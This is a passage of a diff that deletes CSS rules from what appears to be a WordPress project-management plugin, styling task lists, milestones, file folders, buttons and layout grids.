solid 1px; - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); -} -/*-------------------------------------------------- -:: Task List --------------------------------------------------- */ -.pm-update-todolist-form { - margin-top: 10px; - margin-bottom: 10px; -} -.pm-new-todolist-form { - background: #fff; - border: 1px solid #e5e5e5; - margin-top: 20px; - padding: 10px; - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); -} -.pm-new-todolist-form .item, -.pm-update-todolist-form .item { - padding: 5px; - margin: 0; -} -.pm-new-todolist-form { - width: 40%; -} -.pm-update-todolist-form { - width: 50%; -} -.pm-update-todolist-form .pm-new-todolist-form { - margin: 0px; - width: 100%; -} -.pm-single-task { - margin: 20px 0; - border-bottom: 1px solid #eee; - border-top: 1px solid #eee; - padding: 20px 30px 15px 25px; - background-color: #fff; - border: 1px solid #e5e5e5; - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); -} -.pm-single-task a.move { - display: none; -} -.pm-single-task.pm-todo .pm-todo-wrap { - padding-left: 0; -} -.pm-single-task .pm-todo-action-right { - text-align: right; -} -.pm-single-task .pm-todo-action-right a { - color: #aaa; -} -.pm-single-task .pm-todo-action-right a:hover { - color: #666; -} -.pm-single-task .pm-todo-details { - border-bottom: 1px solid #eee; - border-top: 1px solid #eee; - padding: 20px 0; -} -.pm-todolists > li { - margin: 0; -} -.pm-todolists > li.ui-state-highlight { - min-height: 100px; -} -.pm-todolists .pm-todolist { - position: relative; - background: #fff; - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: 1px solid #e5e5e5; - padding: 6px 3px 5px 5px; -} -.pm-todolists .pm-todolist .pm-todo-progress-bar { - margin-top: 15px; - overflow: hidden; - height: 13px; - background-color: #f7f7f7; -} -.pm-todolists .pm-todolist .pm-todo-progress-bar .bar { - height: 18px; - background-color: #62c462; -} -.pm-todolists .pm-todolist .pm-list-edit-form form { - border: 1px solid #e5e5e5; - margin: 20px; - padding: 15px 15px 0; - width: 40%; -} - -#pm-single-todo-list-view .pm-task-form { - margin-left: 15px; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form { - margin: 10px 0 10px 0; - border: 1px solid #eee; - padding: 10px 15px 8px 15px; - width: 40%; - background: #F8F8F8; -} -.pm-todo-form .pm-task-form .pm-task-start-field { - margin-bottom: 10px; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__tag, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__tag { - background: #019dd6; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__tag-icon:focus, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__tag-icon:focus, -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__tag-icon:hover, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__tag-icon:hover { - background: #019dd6; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__input, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__input { - border: none; - box-shadow: none; - margin: 0; - margin-top: -1px; - padding: 0; - height: 28px !important; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__element, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__element { - height: 25px; - margin: 0; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__select:before, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__select:before { - top: 57%; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__tags, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__tags { - min-height: 34px; - border-radius: 0px; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__option, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__option { - min-height: 30px; - padding: 8px 12px; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__option--highlight, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__option--highlight { - background: #019dd6; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__content, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__content { - border-radius: 0px; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__content li, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__content li { - border: none; - padding: 0; - height: 34px; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form #task_assign_chosen, -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form #task_assign_chosen { - width: 98% !important; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-task-form #task_assign_chosen input[type="text"], -.pm-todolists .pm-todolist .pm-todo-form .pm-task-form #task_assign_chosen input[type="text"] { - height: 30px; - color: #9B9B9B; -} -.pm-todolists .pm-todolist .pm-new-btn .item.date label, -.pm-todolists .pm-todolist .pm-todo-form .item.date label { - display: block; - font-size: 13px; -} -.pm-todolists .pm-todolist .pm-new-btn .pm-make-privacy, -.pm-todolists .pm-todolist .pm-todo-form .pm-make-privacy { - margin-top: 8px; -} -.pm-todolists .pm-todolist header h3 { - margin: 0; - font-size: 14px; - padding-left: 5px; - padding-bottom: 5px; -} -.pm-todolists .pm-todolist header .pm-entry-detail { - font-style: italic; - padding: 0 5px; -} -.pm-todolists .pm-todolist header .pm-comment-count { - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - background: #E2E9F8; - font-size: 12px; - line-height: 12px; - padding: 1px 7px; - margin-right: 5px; -} -.pm-todolists .pm-todolist header .pm-comment-count a { - color: #999; -} -.pm-todolists .pm-todolist header .pm-list-actions { - font-size: 11px; - line-height: 15px; - border: 1px solid #eee; - border-right: none; - -webkit-border-radius: 5px 0 0 5px; - -moz-border-radius: 5px 0 0 5px; - border-radius: 5px 0 0 5px; - padding: 3px 8px 0 0; - background: #fff; - visibility: show; - position: absolute; - left: -59px; - top: 4px; - z-index: 9999; -} -.pm-todolists .pm-todolist header .pm-list-actions a { - display: inline-block; -} -.pm-todolists .pm-todolist header .pm-move-trak { - left: -12px; - padding: 3px 3px 0 3px; -} -.pm-todolists .pm-todolist header:hover .pm-list-actions { - visibility: visible; -} -.pm-todolists .pm-todolist .ui-state-highlight { - height: 1.5em; - line-height: 1.2em; -} -.pm-todolists .pm-todolist .pm-list-edit-form { - display: none; -} -.pm-todolists .pm-todolist p { - margin: 0; - padding-bottom: 10px; -} -.pm-todolists .pm-todolist > ul { - margin: 0 0 0 15px; - min-height: 6px; - position: relative; - list-style: none; -} -.pm-todolists .pm-todolist > ul li { - clear: both; - line-height: 20px; - padding-left: 19px; - padding-right: 110px; - word-wrap: break-word; - margin: 0; -} -.pm-todolists .pm-todolist .pm-todo-completed { - padding-top: 5px; -} -.pm-todolists .pm-todolist .pm-todo-completed .pm-todo-wrap { - width: 100%; -} -.pm-todolists .pm-todolist .pm-todo-completed .pm-todo-wrap .pm-todo-action { - left: -16px; -} -.pm-todolists .pm-todolist .pm-todo-completed .pm-todo-wrap .pm-todo-content a { - line-height: 14px; - color: #999; -} -.pm-todolists .pm-todolist .pm-todo-completed .pm-todo-wrap .pm-todo-text { - text-decoration: line-through; -} -.pm-todolists .pm-todolist .pm-todo-completed .pm-todo-wrap .move { - display: none; -} -.pm-todolists > li { - margin: 0; -} -.pm-todo-action-child { - float: left; -} -.pm-list-action { - margin-left: 24px; - font-size: 12px; - display: none; -} -.pm-todo-inside:hover .pm-list-action { - display: block; -} -.pm-list-action-wrap { - display: block; - height: 16px; -} -.pm-todolists .pm-new-task-spinner { - background: url("../images/loading.gif") no-repeat scroll 0 0 rgba(0, 0, 0, 0); - display: none; - height: 16px; - left: 0; - margin-top: 5px; - position: absolute; - width: 16px; -} -.pm-due-date { - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - background: #aa5340; - font-size: 12px; - line-height: 12px; - padding: 1px 7px; - color: #e9e9e9; -} -.pm-current-date { - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - background: #61BD4F; - font-size: 12px; - line-height: 1.3em; - color: #fff; - padding: 0px 5px; -} -.pm-task-done { - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - background: #0090D9; - font-size: 12px; - line-height: 1.3em; - color: #fff; - padding: 2px 5px; -} -.pm-task-comment-count { - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - background: #ddd; - font-size: 12px; - line-height: 1.3em; - color: #999; - padding: 2px 5px; - margin-top: -5px; -} -.pm-todo .pm-todo-wrap { - position: relative; -} -.pm-todo .pm-todo-wrap input[type="checkbox"] { - margin-right: 5px; -} -.pm-todo .pm-todo-wrap:hover .pm-todo-action { - visibility: visible; -} -.pm-todo .pm-todo-wrap .pm-todo-action { - font-size: 11px; - line-height: 14px; - border: 1px solid #eee; - border-right: none; - -webkit-border-radius: 5px 0 0 5px; - -moz-border-radius: 5px 0 0 5px; - border-radius: 5px 0 0 5px; - padding: 2px 0 0 0; - background: #fff; - visibility: hidden; - position: absolute; - left: -36px; - top: 0; - z-index: 99; -} -.pm-todo .pm-todo-wrap .pm-todo-action a { - display: inline-block; -} -.pm-todo .pm-todo-wrap .pm-todo-content a.task-title { - color: #333; -} -.pm-todo .pm-todo-wrap .pm-todo-content a.task-title:hover { - text-decoration: underline; - color: #21759b; -} -.pm-todo .pm-todo-wrap .pm-todo-content .pm-todo-action-center .pm-task-comment { - display: inline-block; - margin-right: -11px; -} -.pm-todo .pm-todo-wrap .pm-todo-content .pm-todo-action-center .pm-task-subtask { - display: inline-block; -} -.pm-todo .pm-todo-wrap .pm-todo-content .pm-todo-action-center .pm-task-time-track { - display: inline-block; -} -.pm-todo .pm-todo-wrap .pm-todo-content .pm-comment-count { - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - background: #E2E9F8; - font-size: 12px; - line-height: 12px; - padding: 1px 7px; - margin-right: 5px; -} -.pm-todo .pm-todo-wrap .pm-todo-content .pm-comment-count a { - color: #999; -} -.pm-todo .pm-todo-wrap .pm-todo-content .pm-assigned-user img { - width: 24px; - height: 24px; - vertical-align: middle; - border: 1px solid #ccc; - border-radius: 50%; - margin-left: 10px; - background-color: #ccc; -} -.pm-todo .pm-todo-wrap .pm-todo-content .pm-assigned-user a { - color: #999; - text-decoration: none; -} -.pm-todo .pm-todo-wrap .pm-todo-content .pm-completed-by { - font-size: 11px; - color: #999; -} -.pm-todo .pm-todo-wrap .pm-todo-content .pm-completed-by a { - text-decoration: none; -} -.pm-todo .pm-todo-wrap .pm-todo-content .pm-completed-by img { - width: 22px; - height: auto; - border-radius: 50%; - vertical-align: middle; - border: 1px solid #ccc; -} -.pm-new-todolist-form input[type="text"], -.pm-list-edit-form input[type="text"], -.pm-new-todolist-form textarea, -.pm-list-edit-form textarea { - width: 98%; -} -.pm-new-todolist-form .pm-new-list-spinner, -.pm-list-edit-form .pm-new-list-spinner { - background: url("../images/loading.gif") no-repeat scroll 0 0 rgba(0, 0, 0, 0); - display: none; - height: 16px; - left: -18px; - margin-top: 5px; - position: absolute; - width: 16px; -} -.pm-new-todolist-form .pm-make-privacy, -.pm-list-edit-form .pm-make-privacy { - margin-top: 8px; -} -/*-------------------------------------------------- -:: Milestone --------------------------------------------------- */ -.pm-new-milestone-form { - margin: 25px 0 15px 10px; -} -.pm-milestone-form-wrap { - position: relative; - border: 1px solid #DDD; - padding: 20px; - margin-left: 0; - background: #fff; -} -.pm-milestone-form-wrap input[name="milestone_due"] { - width: 20%; -} -.pm-milestones .pm-milestones-spinner { - background: url("../images/loading.gif") no-repeat scroll 0 0 rgba(0, 0, 0, 0); - display: inline-block; -} -.pm-milestones .title { - float: left; - width: 200px; - margin-top: 0; -} -.pm-milestones .pm-milestone { - background: #FAF9E4; - padding: 10px; - margin: 0 0 10px 220px; - border: 1px solid #ddd; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - font-size: 13px; -} -.pm-milestones .pm-milestone h3 { - margin: 0; - padding-bottom: 5px; - margin-bottom: 5px; - border-bottom: 1px solid #ccc; -} -.pm-milestones .pm-milestone h3 ul { - margin: 0; -} -.pm-milestones .pm-milestone h3 .time-left { - font-size: 12px; - color: #666; -} -.pm-milestones .pm-milestone ul { - margin-top: 5px; -} -.pm-milestones .pm-milestone ul.dash li { - text-indent: 5px; -} -.pm-milestones .pm-milestone ul.dash li:before { - content: "-"; - position: relative; - left: -5px; -} -.pm-milestones .pm-milestone.late { - background: #F9ECE6; -} -.pm-milestones .pm-milestone.complete { - background: #E4FFE4; -} -.pm-milestones .pm-milestone .pm-milestone-completed { - font-style: italic; - color: #7C7C7C; -} -.pm-progress { - overflow: hidden; - height: 13px; - background-color: #f7f7f7; - -webkit-box-shadow: inset 0 0 1px rgba(0, 0, 0, 0.1); - -moz-box-shadow: inset 0 0 1px rgba(0, 0, 0, 0.1); - box-shadow: inset 0 0 1px rgba(0, 0, 0, 0.1); - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; -} -.pm-progress .bar { - width: 0%; - height: 18px; - color: #fff; - font-size: 12px; - text-align: center; - text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); - background-color: #149bdf; - -webkit-transition: width 0.6s ease; - -moz-transition: width 0.6s ease; - -o-transition: width 0.6s ease; - transition: width 0.6s ease; -} -.pm-progress .text { - margin-top: -20px; - color: #222; - font-size: 12px; - padding: 0 25px; - text-shadow: 0 1px 1px #FFFFFF; -} -.pm-progress-info .bar { - background-color: #62c462; -} -ul.pm-links li { - display: inline-block; -} -ul.pm-links li a { - text-decoration: none; - font-weight: normal; -} -.pm-search-item-li.ui-menu-item, .pm-search-item-li.ui-menu-item a { - background: #fff; - border: 0px solid; -} -.pm-search-item-li.ui-menu-item:hover a { - background: #fff; - color: #199fd4; - border: 0px solid; -} -ul.pm-links li a.pm-loading { - background: #eee; -} -label.error { - color: red; -} -input.error { - border: 1px solid red; -} -a.pm-icon-delete-spinner { - background: url("../images/loading.gif") no-repeat scroll; -} -a.pm-icon-delete { - display: inline-block; -} -a.pm-icon-delete span { - display: inline-block; - text-indent: -9999px; -} -a.pm-icon-delete:before { - content: "\2716"; - font-size: 17px; - padding: 1px 2px; - border-radius: 4px; - color: #EB0000; - display: inline-block; -} -a.pm-icon-tick span { - display: none; -} -a.pm-icon-tick:before { - content: "\2714"; - display: block; - font-size: 17px; - padding: 1px 2px; - border-radius: 4px; -} -a.pm-icon-tick.green { - color: #00D311; -} -a.pm-icon-tick.grey { - color: #D8D8D8; -} -.pm-uploaded-item { - background: #eee; - padding: 10px; - overflow: hidden; - -webkit-border-radius: 5px; - -moz-border-radius: 5px; - border-radius: 5px; - margin: 0 0 10px 0; -} -.pm-uploaded-item img { - border: 1px solid #ddd; - padding: 5px; - margin-right: 20px; - -webkit-border-radius: 5px; - -moz-border-radius: 5px; - border-radius: 5px; - background: #fff; - max-width: 80px; - height: 80px -} -.pm-content-img-size { - border: 1px solid #ddd; - padding: 5px; - margin-right: 20px; - -webkit-border-radius: 5px; - -moz-border-radius: 5px; - border-radius: 5px; - background: #fff; - max-width: 80px; - height: 80px -} -/*-------------------------------------------------- -:: Files --------------------------------------------------- */ -.pm-folders-list { - padding: 0; - margin: 20px -15px 0; - list-style: none; - display: -ms-flexbox; - display: -webkit-flex; - -webkit-flex-flow: row wrap; - justify-content: flex-start; -} -.pm-folders-list li { - margin: 0 0 30px; - padding: 0px 15px; - background: none; - width: 20%; - float: left; - min-width: 272px; - height: 248px; -} -.pm-folders-list li .ff-content { - -webkit-box-sizing: border-box; - -moz-box-sizing: border-box; - box-sizing: border-box; - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: #E2E6E7 solid 1px; - background: #fff; -} -.pm-folders-list li .ff-content:last-child { - margin-right: 0px !important; -} -.pm-folders-list li .image-content { - padding: 20px 20px 0px; - text-align: center; - height: 205px; -} -.pm-folders-list li .image-content img { - max-height: 140px; - vertical-align: middle; - margin-bottom: 10px; -} -.pm-folders-list li .image-content .item-title { - font-weight: bold; -} -.pm-folders-list li .image-content .edit { - display: none; -} -.pm-folders-list li .editing .view { - display: none; -} -.pm-folders-list li .editing .edit { - display: block; - position: relative; - width: 100%; -} -.pm-folders-list li .editing .edit input { - width: 70%; - border: 1px solid #ccc; - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - box-sizing: border-box; - -webkit-font-smoothing: antialiased; - -moz-font-smoothing: antialiased; - font-smoothing: antialiased; -} -.pm-folders-list li .editing .edit .button { - padding: 1px 2px; -} -.pm-folders-list li .editing .edit .dashicons, -.pm-folders-list li .editing .edit .dashicons-before:before { - line-height: inherit; -} -.pm-folders-list li .editing .edit .save { - color: green; -} -.pm-folders-list li .editing .edit .cancel { - color: red; -} -.pm-folders-list li .footer-section { - padding: 10px 15px; - background: #FCFCFC; - border-top: #F2F2F2 solid 1px; - width: 100%; - text-align: center; - height: 42px; -} -.pm-folders-list li .footer-section a { - color: #ccc; - padding: 2px 12px; -} -.pm-folders-list li .footer-section a:hover { - color: #0073aa; -} -.pm-folders-list li .footer-section .pm-comments-count { - background: url('../images/discussion.svg') no-repeat center center; - padding: 15px; - background-size: 20px; -} -.pm-folders-list li .footer-section .pm-comments-count span { - padding: 0px 6px; - margin-top: -12px; - border-radius: 10px; - position: absolute; - margin-left: 5px; -} -.pm-folders-list .folder img { - /*padding: 35px 25px 33px;*/ -} -.pm-folders-list .file .image-content img { - border: #fdfdfd solid 1px; -} -.pm-folders-list .file .doc-content { - padding: 20px 20px 0px; - text-align: center; - font-weight: normal; - height: 205px; - background: #FAFEF0; - text-align: left; - cursor: pointer ; - overflow: hidden; -} -.pm-folders-list .file .doc-content .item-title { - font-weight: bold; -} -.pm-folders-list .file .online-docx-image-content { - position: absolute; - width: 18% ; - height: 200px; - background-repeat: no-repeat; - background-position: 50% 30% ; - -ms-background-size: cover; - -o-background-size: cover; - -moz-background-size: cover; - -webkit-background-size: cover; - background-size: 150px; -} -.pm-folders-list .file .footer-section { - text-align: center; -} -.pm-folders-list:last-child { - margin-right: 0px; -} - -.pm-user-task .pm-list-header h3 { - color: #0074A2; -} -.pm-user-task .pm-todo-content a { - color: #333333; - text-decoration: none; - font-family: "helvetica neue", helvetica, arial, sans-serif; - font-size: 14px; -} -.pm-user-task .pm-todo-content a:hover { - color: #21759b; - text-decoration: underline; -} -.pm-user-task .pm-comment-count { - background: none repeat scroll 0 0 #E2E9F8; - border-radius: 3px; - font-size: 12px; - line-height: 12px; - margin-right: 5px; - padding: 1px 7px; -} -.pm-user-task .pm-assign-by { - background: none repeat scroll 0 0 #DDDDDD; - border-radius: 3px; - color: #999999; - font-size: 12px; - line-height: 12px; - margin-right: 5px; - padding: 1px 7px; -} -.pm-user-task .pm-completed-by { - color: #999999; -} -.pm-user-task .pm-completed-by a { - text-decoration: none; -} -.pm-user-task .pm-user-todo-completed .pm-todo-text { - color: #999999; - font-size: 11px; - line-height: 14px; -} -#pm-create-user-wrap { - height: auto !important; - display: none; -} -#pm-create-user-wrap .pm-error { - color: red; - margin-bottom: 10px; - font-size: 12px; -} -#pm-create-user-wrap .button-primary, -#pm-create-user-wrap h3, -#pm-create-user-wrap .pm-error { - margin-left: 27%; -} -#pm-create-user-wrap .pm-user-create-form .pm-field-wrap label { - float: left; - width: 27%; - font-size: 12px; -} -#pm-create-user-wrap .pm-user-create-form .pm-field-wrap label:after { - clear: both; -} -#pm-create-user-wrap .pm-user-create-form .pm-field-wrap input { - width: 69%; - margin-bottom: 10px; -} -#pm-create-user-wrap .pm-user-create-form .pm-spinner { - background: url("../images/loading.gif") no-repeat scroll; - display: inline-block; - height: 17px; - margin-left: 10px; - vertical-align: middle; - width: 17px; -} -.pm-mytask-wrap span.move { - display: none !important; -} -.pm-mytask-wrap .pm-todo-action { - display: none; -} -.pm-mytask-wrap .pm-task-complete { - left: 0 !important; -} -.pm-mytask-wrap .pm-my-task { - font-weight: bold; -} -.pm-mytask-wrap .pm-list-header { - margin-bottom: 15px; -} -.pm-mytask-wrap .pm-list-header a { - text-decoration: none; -} -.pm-mytask-wrap .pm-todolists li { - padding: 0; - margin: 0 0 10px 0; - list-style: none; -} -.pm-mytask-wrap .pm-todolists article { - border-bottom: 0; - margin-bottom: 0; - padding-bottom: 0; -} -.pm-mytask-wrap .pm-todolists article ul { - margin: 0 15px !important; -} -.pm-calendar { - position: relative; -} -.pm-calendar a.pm-expire-task { - background-color: #EB5A46 !important; -} -.pm-calendar a.pm-task-running { - background-color: #61BD4F !important; -} -.pm-calendar a.pm-complete-task { - text-decoration: line-through; - background-color: #0090D9!important; - text-decoration: line-through !important; -} -.pm-calendar span.fc-event-title { - color: #fff; -} -.pm-calendar .pm-calender-loading.active { - background: url("images/calendar-loading.gif") no-repeat scroll 50% 30% rgba(255, 255, 255, 0.8); - display: inline-block; - height: 100%; - left: 0; - top: 0; - margin: 0; - position: absolute; - vertical-align: middle; - width: 100%; - z-index: 999999; -} -#pm-progress-wrap ul.pm-activity ul li::before { - content: ''; - left: -5px; - position: relative; -} -#pm-progress-wrap .pm-progress-label { - display: inline; - padding: .2em .6em .3em; - font-size: 75%; - font-weight: normal; - line-height: 1; - color: #737373; - text-align: center; - white-space: nowrap; - vertical-align: baseline; - border-radius: .25em; - background: #fff; - letter-spacing: 1px; - border: 1px solid #E2E2E2; - margin-right: 2px; -} -#pm-progress-wrap ul.pm-activity ul { - border-left: 2px solid #ccc; - margin-bottom: 0; - margin-left: 35px; - margin-top: 0; -} -#pm-progress-wrap ul.pm-activity ul li { - padding-left: 15px; - text-indent: 5px; - line-height: 240%; -} -#pm-progress-wrap .pm-progress-wrap { - margin: 0; -} -#pm-progress-wrap .pm-progress-wrap ul li { - margin: 0; -} -#pm-progress-wrap .pm-activity-heads { - background: none repeat scroll 0 0 #fff; - border: 2px solid #dadada; - border-radius: 50%; - height: 70px; - width: 70px; - text-align: center; - padding: 0; - margin: 0; -} -#pm-progress-wrap .pm-activity-heads span { - display: inline-block; - padding-top: 15px; -} -.pm-pro-notice { - padding: 25px; -} -.pm-pro-notice .pm-text { - margin-bottom: 20px; - font-size: 20px; -} -/****/ -/**SVG background image **/ -.pm-list-comment-wrap .mce-panel { - border-color: #e5e5e5; -} -.pm { - color: #848484; - margin-top: 20px; - /** - * PM default css classes - */ - /** - * Input syte - **/ - /** - * Button Styes - **/ - /** - * Responsive Grid Column - * - **/ - /** - * Home Project Grid - * - **/ - /** - * Project Header part - */ - /** - * Project Overview Page - */ - /** - * Activity Page - */ - /** Discussion Page **/ - /** CSS for Milestone Page **/ - /** End MileStone Page **/ - /*** Files ***/ - /** For Modal **/ - /***Half page Modal ***/ - /* - * for v-modla transection - */ - /*for lazy loding align-content: */ - /* Every thing below this is just positioning */ - /**End Loading **/ - /*Animation for vue */ - /** End Files **/ - /*****/ - /** -* Media Query for responsive -* -**/ - /* Smartphones (portrait and landscape) ----------- */ -} -.pm .mce-tinymce { - border: 1px solid #e5e5e5; - margin-bottom: 10px; -} -.pm * { - box-sizing: border-box; -} -.pm a { - outline: 0; - text-decoration: none; -} -.pm a:active, -.pm a:hover, -.pm a:focus { - text-decoration: none ; - outline: 0; - -moz-outline-style: none; -} -.pm input { - padding: 5px; -} -.pm .small-text { - font-size: small; -} -.pm .pm-no-margin { - margin: 0px; -} -.pm .pm-no-padding { - padding: 0px; -} -.pm .pm-no-padding-bottom { - padding-bottom: 0px; -} -.pm .pm-no-margin-bottom { - margin-bottom: 0px; -} -.pm .pm-margin-bottom { - margin-bottom: 25px; -} -.pm .cercale-corners { - -webkit-border-radius: 180px; - -moz-border-radius: 180px; - border-radius: 180px; -} -.pm .pm-text-left { - text-align: left; -} -.pm .pm-text-center { - text-align: center; -} -.pm .pm-text-right { - text-align: right; -} -.pm .pm-btn { - padding: 6px 10px; - margin: 0; - border-radius: 3px; - display: inline-block; -} -.pm .pm-btn-xs { - padding: 3px; - font-size: small ; -} -.pm .pm-btn-gray { - padding: 6px 10px; - margin: 0; - border-radius: 3px; - display: inline-block; - background: #eee; -} -.pm .pm-btn-red { - background: RED; - color: #ffffff ; -} -.pm .pm-btn-white { - padding: 6px 10px; - margin: 0; - border-radius: 3px; - display: inline-block; - background: #ffffff; -} -.pm .pm-btn-white a:hover { - background: red; -} -.pm .pm-btn-submit { - border: 0px; - padding: 5px; - font-weight: bold; -} -.pm .pm-btn-blue { - background: #019dd6; - color: #ffffff; -} -.pm .pm-btn-blue a:hover { - color: red; -} -.pm .pm-plus-white { - //background: #019dd6 url('../images/plus_white.svg') no-repeat 10% 50%; - background: #019dd6; - background-size: 25px; - //padding: 10px 10px 10px 50px; - color: #ffffff; -} -.pm .pm-container { - width: 100%; - margin: 10px; -} -.pm .pm-row { - padding-left: 10px; - padding-right: 10px; - padding-bottom: 10px; - width: 100%; -} -.pm .pm-col-1 { - width: 7.788285225%; - float: left; - margin-right: 10px; - margin-bottom: 10px; -} -.pm .pm-col-2 { - width: 14.788285225%; - float: left; - margin-right: 5px; - margin-bottom: 5px; -} -.pm .pm-col-3 { - width: 23.788285225%; - float: left; - margin-right: 10px; - margin-bottom: 10px; -} -.pm .pm-col-4 { - width: 32.333333333%; - float: left; - margin-right: 10px; - -} -.pm .pm-col-5 { - width: 38.788285225%; - float: left; - margin-right: 10px; - margin-bottom: 10px; -} -.pm .pm-col-6 { - width: 48.788285225%; - float: left; - margin-right: 10px; - margin-bottom: 10px; -} -.pm .pm-col-7 { - width: 56.788285225%; - float: left; - margin-right: 10px; - -} -.pm .pm-col-8 { - width: 64.666666667%; - float: left; - margin-right: 10px; - margin-bottom: 10px; -} -.pm .pm-col-9 { - width: 73.788285225%; - float: left; - margin-right: 10px; - margin-bottom: 10px; -} -.pm .pm-col-10 { - width: 81.788285225%; - float: left; - margin-right: 10px; - margin-bottom: 10px; -} -.pm .pm-col-11 { - width: 89.788285225%; - float: left; - margin-right: 10px; - margin-bottom: 10px; -} -.pm .pm-col-12 { - width: 100%; -} -.pm .pm-last-col { - float: right; - margin-right: 0px; - padding-right: 0px; - color: #000; - margin-bottom: 10px; -} -.pm .show_desktop_only { - display: block; -} -.pm .show_small_only { - display: none; -} -.pm .hide_desktop_only { - display: none; -} -.pm .hide_small_only { - display: bloc; -} -.pm .notify-users .pm-small-title { - margin-left: 10px; -} -.pm .notify-users .pm-user-list { - display: block; - padding: 15px; - margin: 0px; -} -.pm .notify-users .pm-user-list .pm-project-user-list { - padding: 8px; -} -.pm .notify-users .pm-user-list .pm-project-user-list li { - float: left ; - width: 50% ; - padding: 5px; - display: inline; -} -.pm .notify-users .pm-user-list .pm-project-user-list li label { - padding: 0px; - margin: 0px; - width: 100%; -} -.pm .pm-top-bar { - background: #ffffff; - margin-bottom: 20px; - padding-bottom: 0px; - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: 1px solid #e5e5e5; -} -.pm .pm-top-bar .pm-priject-search-bar { - border-bottom: solid 1px #eee; - margin-bottom: 0px; - padding-bottom: 0px; -} -.pm .pm-top-bar .pm-priject-search-bar .pm-col-9 { - padding: 0px; - margin: 0px; -} -.pm .pm-top-bar .pm-top-right-btn { - margin-top: 12px; - padding-left: 10px; -} -.pm .pm-top-bar .pm-top-right-btn input { - /* _m1992 - 10777 - 585*/ - margin-right: 20px; -} -.pm .pm-top-bar .pm-top-right-btn .pm-btn-blue { - -webkit-border-radius: 180px; - -moz-border-radius: 180px; - border-radius: 180px; - padding: 6px 2px 3px 2px; -} -.pm .pm-top-bar .pm-top-right-btn .pm-btn-blue .dashicons { - vertical-align: bottom; - font-size: 13px; -} -.pm .pm-top-bar .pm-top-right-btn .pm-btn-blue .dashicons a { - color: #ffffff; -} -.pm .pm-top-bar .pm-top-right-btn .pm-btn-white { - padding: 6px 10px; - margin: 0; - border-radius: 3px; - display: inline-block; - background: #ffffff; - -webkit-border-radius: 30px; - -moz-border-radius: 30px; - border-radius: 30px; - border: 1px solid #eee; -} -.pm .pm-top-bar .pm-top-right-btn .pm-btn-white a:hover { - background: red; -} -.pm .pm-top-bar .pm-top-right-btn .pm-btn-white a { - color: #eee; -} -.pm .pm-top-bar .pm-top-right-btn a { - font-size: 13px; - margin-right: 5px; -} -.pm .pm-top-bar .pm-top-right-btn a :hover { - color: #000000; -} -.pm .pm-top-bar .pm-btn-submit { - padding: 5px 25px; -} -.pm .pm-top-bar .pm-project-search input { - float: left; - width: 47%; - margin-left: 3%; -} -.pm .pm-top-bar .pm-project-group { - padding: 0px; - margin: 0px; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-view { - margin-bottom: 0; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul { - margin: 0; - padding: 0; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul li { - float: left; - margin: 0; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul li a { - padding: 12px 20px 12px 40px; - min-width: 50px; - display: block; - text-align: left; - text-decoration: none; - border-bottom: solid 2px #ffffff; - color: #aaa; - background-size: 20px; - background-position: 10% 50%; - background-repeat: no-repeat; - font-weight: normal; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul li a span.count { - padding: 0px 6px; - position: relative; - background: #eee; - margin-top: -15px; - margin-left: 5px; - border-radius: 15px; - top: 0; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul li a:hover { - border-bottom: solid 2px #019dd6; - color: #000000; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul li a:hover span { - 